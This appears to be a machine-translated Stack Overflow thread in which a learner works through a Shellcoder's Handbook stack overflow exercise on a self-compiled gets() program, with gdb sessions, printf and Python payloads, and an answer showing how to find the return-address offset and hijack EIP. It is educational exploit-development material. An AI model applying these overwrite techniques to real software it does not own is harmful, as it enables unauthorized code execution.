【问题标题】:stack overflow (shellcoders handbook)堆栈溢出(shellcoders 手册)
【发布时间】:2012-08-09 18:37:12
【问题描述】:

我在这个例子 w.r.t. shellcoder's handbook(second edition),还有一些关于栈的问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) set disassembly-flavor intel    
(gdb) list    
1   void ret_input(void){    
2       char array[30];  
3     
4       gets(array);  
5       printf("%s\n", array);  
6   }  
7   main(){  
8       ret_input();  
9     
10      return 0;  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   ebp  
   0x08048415 <+1>: mov    ebp,esp  
   0x08048417 <+3>: sub    esp,0x24  
   0x0804841a <+6>: lea    eax,[ebp-0x1e]  
   0x0804841d <+9>: mov    DWORD PTR [esp],eax  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    eax,[ebp-0x1e]  
   0x08048428 <+20>:    mov    DWORD PTR [esp],eax  
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb) break *0x08048420  
Breakpoint 1 at 0x8048420: file sc.c, line 4.  
(gdb) break *0x08048431  
Breakpoint 2 at 0x8048431: file sc.c, line 6.  
(gdb) run  
Starting program: /root/pentest/sc   

Breakpoint 1, 0x08048420 in ret_input () at sc.c:4  
4       gets(array);  
(gdb) x/20x $esp  
0xbffff51c: 0xbffff522  0xb7fca324  0xb7fc9ff4  0x08048460  
0xbffff52c: 0xbffff548  0xb7ea34a5  0xb7ff1030  0x0804846b  
0xbffff53c: 0xb7fc9ff4  0xbffff548  0x0804843a  0xbffff5c8  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) continue   
Continuing.  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDD  

Breakpoint 2, 0x08048431 in ret_input () at sc.c:6  
6   }  
(gdb) x/20x 0x0bffff51c  
0xbffff51c: 0xbffff522  0x4141a324  0x41414141  0x41414141  
0xbffff52c: 0x42424242  0x42424242  0x43434242  0x43434343  
0xbffff53c: 0x43434343  0x44444444  0x44444444  0xbffff500  
0xbffff54c: 0xb7e8abd6  0x00000001  0xbffff5f4  0xbffff5fc  
0xbffff55c: 0xb7fe1858  0xbffff5b0  0xffffffff  0xb7ffeff4  
(gdb) ^Z  
[1]+  Stopped                 gdb -q sc  
root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc   
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5�  
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:�  
root@bt:~/pentest# 

在这个例子中,我使用 48 个字节 "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" 来重写 ret 地址,一切正常。但是当我尝试使用本书第一版中的示例时,我遇到了一些问题

root@bt:~/pentest# gdb -q sc  
Reading symbols from /root/pentest/sc...done.  
(gdb) disas ret_input   
Dump of assembler code for function ret_input:  
   0x08048414 <+0>: push   %ebp  
   0x08048415 <+1>: mov    %esp,%ebp  
   0x08048417 <+3>: sub    $0x24,%esp  
   0x0804841a <+6>: lea    -0x1e(%ebp),%eax  
   0x0804841d <+9>: mov    %eax,(%esp)  
   0x08048420 <+12>:    call   0x804832c <gets@plt>  
   0x08048425 <+17>:    lea    -0x1e(%ebp),%eax  
   0x08048428 <+20>:    mov    %eax,(%esp)   
   0x0804842b <+23>:    call   0x804834c <puts@plt>  
   0x08048430 <+28>:    leave    
   0x08048431 <+29>:    ret      
End of assembler dump.  
(gdb)   

为什么程序占用了 24(hex)=36(dec)bytes 作为数组,但我用了 48 个重写,36 个字节的数组,8 个字节的 esp 和 ebp(我怎么知道),但是有钢有 4无法解释的字节

好的,让我们试试第一版书中的sploit,它通过调用函数的地址重写所有数组,在书中他们有“sub &0x20,%esp”所以代码是

main(){  
 int i=0;  
 char stuffing[44];  

 for (i=0;i<=40;i+=4) 
 *(long *) &stuffing[i] = 0x080484bb;  
 puts(array);  

我有 ""sub &0x24,%esp" 所以我的代码是

main(){  
 int i=0;  
 char stuffing[48];  

 for (i=0;i<=44;i+=4)
 *(long *) &stuffing[i] = 0x08048435;  
 puts(array); 

shellcoders手册的结果

 [root@localhost /]# (./adress_to_char;cat) | ./overflow  
input   
""""""""""""""""""a<u___.input  
input  
input  

和我的结果

root@bt:~/pentest# (./ad_to_ch;cat) | ./sc  
5�h���ل$���������h����4��0��˄  
inout  
Segmentation fault  
root@bt:~/pentest#  

有什么问题? 我正在编译

-fno-stack-protector -mpreferred-stack-boundary=2

【问题讨论】:

    标签: c gdb stack-overflow


    【解决方案1】:

    我建议您最好通过在 GDB 中尝试来获得溢出缓冲区所需的字节数。我编译了您在问题中提供的源代码并通过 GDB 运行它:

    gdb$ r < <(python -c "print('A'*30)")
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    [Inferior 1 (process 29912) exited normally]
    

    (请注意,我使用 Python 创建输入,而不是编译的 C 程序。真的没关系,使用你喜欢的。)

    所以 30 个字节就可以了。让我们尝试更多:

    gdb$ r < <(python -c "print('A'*50)")
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x41414141
    0x41414141 in ?? ()
    
    gdb$ i r $eip
    eip            0x41414141   0x41414141
    

    我们的eip 寄存器现在包含0x41414141,在ASCII 中是AAAA。现在,我们可以逐步检查我们必须将值放在更新eip的缓冲区中的确切位置:

    gdb$ r < <(python -c "print('A'*40+'BBBB')")
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x8004242
    0x08004242 in ?? ()
    

    B0x42。因此,当使用 40 个A 和四个B 时,我们覆盖了一半的eip。因此,我们用 42 个 A 填充,然后将我们想要更新的值 eip 放入:

    gdb$ r < <(python -c "print('A'*42+'BBBB')")
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
    
    Program received signal SIGSEGV, Segmentation fault.
    Cannot access memory at address 0x42424242
    0x42424242 in ?? ()
    

    我们完全控制了eip!让我们试试看。在ret_input 的末尾设置断点(您的地址可能会随着我重新编译二进制文件而有所不同):

    gdb$ dis ret_input
    Dump of assembler code for function ret_input:
       0x08048404 <+0>: push   %ebp
       0x08048405 <+1>: mov    %esp,%ebp
       0x08048407 <+3>: sub    $0x38,%esp
       0x0804840a <+6>: lea    -0x26(%ebp),%eax
       0x0804840d <+9>: mov    %eax,(%esp)
       0x08048410 <+12>:    call   0x8048310 <gets@plt>
       0x08048415 <+17>:    lea    -0x26(%ebp),%eax
       0x08048418 <+20>:    mov    %eax,(%esp)
       0x0804841b <+23>:    call   0x8048320 <puts@plt>
       0x08048420 <+28>:    leave  
       0x08048421 <+29>:    ret    
    End of assembler dump.
    gdb$ break *0x8048421
    Breakpoint 1 at 0x8048421
    

    例如,让我们修改eip,这样一旦从ret_input返回,我们就会再次回到函数的开头:

    gdb$ r < <(python -c "print('A'*42+'\x04\x84\x04\x08')")
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�    
    
    --------------------------------------------------------------------------[code]
    => 0x8048421 <ret_input+29>:    ret    
       0x8048422 <main>:    push   ebp
       0x8048423 <main+1>:  mov    ebp,esp
       0x8048425 <main+3>:  and    esp,0xfffffff0
       0x8048428 <main+6>:  call   0x8048404 <ret_input>
       0x804842d <main+11>: mov    eax,0x0
       0x8048432 <main+16>: leave  
       0x8048433 <main+17>: ret    
    --------------------------------------------------------------------------------
    
    Breakpoint 1, 0x08048421 in ret_input ()
    

    我们填充 42 个A,然后将ret_input 的地址附加到我们的缓冲区中。我们在ret 触发的断点。

    gdb$ x/w $esp
    0xffffd30c: 0x08048404
    

    在堆栈的顶部有我们缓冲区的最后一个 DWORD - ret_input 的地址。

    gdb$ n
    0x08048404 in ret_input ()    
    
    gdb$ i r $eip
    eip            0x8048404    0x8048404 <ret_input>
    

    执行下一条指令会将该值从堆栈中弹出并相应地设置eip

    附带说明:我推荐来自 this guy 的 .gdbinit 文件。

    【讨论】:

    • 我已经通过 gdb/command promt 覆盖了这个源,需要通过另一个源覆盖 root@bt:~/pentest# printf "AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD\x35\x84\x04\x08" | ./sc AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD5� AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDD:� root@bt:~/pentest#
    • 我不太确定您要完成什么。你能改述一下你的目标是什么吗?上传您正在处理的二进制文件以避免差异可能也是一个好主意。
    • 我的目标是尝试通过this code 溢出my program。感谢您的帮助
    • main() { int i = 0; char stuf[50]; for (i = 0; i &lt;= 48; i += 4) *(long*)(stuf + i) = 0x08048435; puts(stuf); } 编译这个 (ad_to_ch),然后在 GDB 中将断点设置在 ret_input 的末尾并使用您的工具运行程序:r &lt; &lt;(./ad_to_ch)。它应该与上面指出的使用 Python 相同。
    【解决方案2】:

    这一行:

    对于 (i=o;i

    从末尾删除;。我还假设o(字母o)而不是0(零)在这里输入错误。

    问题是你的 for 循环正在执行 ;(也就是什么都不做)直到 i 变得大于 44,然后你用 i = 44 执行下一个命令,这超出了界限数组,你得到Segmentation Error。您应该注意这种类型的错误,因为它几乎不可见,并且是完全有效的 c 代码。

    【讨论】:

    • 对不起我的文字错误,我只是手工编写代码(已更正)。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2019-05-18
    • 2020-11-01
    • 2012-04-15
    • 2012-12-20
    • 2011-03-02
    • 2011-08-22
    相关资源
    最近更新 更多